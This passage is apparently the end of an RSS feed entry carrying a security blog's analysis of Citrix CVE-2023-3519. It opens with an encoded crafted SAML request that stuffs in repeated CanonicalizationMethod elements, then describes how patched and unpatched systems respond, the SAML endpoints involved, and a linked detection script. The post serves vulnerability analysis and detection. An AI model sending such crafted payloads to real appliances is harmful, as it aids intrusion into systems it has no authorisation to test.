uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BCiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U%2BCiAgICA8L2RzOlNpZ25lZEluZm8%2BCiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU%2BQTwvZHM6U2lnbmF0dXJlVmFsdWU%2BCiAgPC9kczpTaWduYXR1cmU%2BCiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On unpatched instances, you can include as many instances of &lt;code&gt;CanonicalizationMethod&lt;/code&gt; where all of them are parsed, before the flow failing due to the SAML assertion having an incorrect signature. On patched instances, it assumes that there is something wrong before getting to the verification step.&lt;/p&gt;

&lt;p&gt;We also discovered the endpoints &lt;code&gt;/cgi/samlauth&lt;/code&gt;, &lt;code&gt;/saml/activelogin&lt;/code&gt;, &lt;code&gt;/cgi/samlart?samlart=&lt;/code&gt; and &lt;code&gt;/cgi/logout&lt;/code&gt; which expect a &lt;code&gt;SAMLResponse&lt;/code&gt;, but these endpoint also require SSO to be configured in order to exploit this vulnerability based off our testing. At this time, we have not discovered an endpoint which allows for exploitation without SAML being enabled.&lt;/p&gt;

&lt;p&gt;We’ve built the following Python script to detect the presence of this vulnerability: &lt;a href=&quot;https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519&quot;&gt;https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Our checking mechanism is much more high signal than anything currently out there when assessing exploitability. Most other scanners and scripts are relying on version based checks to determine the exploitability of this issue. So far based on our analysis, SAML needs to be enabled to make the system vulnerable.&lt;/p&gt;

&lt;p&gt;As always, customers of our &lt;a href=&quot;https://assetnote.io&quot;&gt;Attack Surface Management&lt;/a&gt; platform have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.&lt;/p&gt;
</description>
        <pubDate>Fri, 21 Jul 2023 15:37:51 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/07/21/citrix-CVE-2023-3519-analysis/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/07/21/citrix-CVE-2023-3519-analysis/</guid>
      </item>
    
  </channel>
</rss>
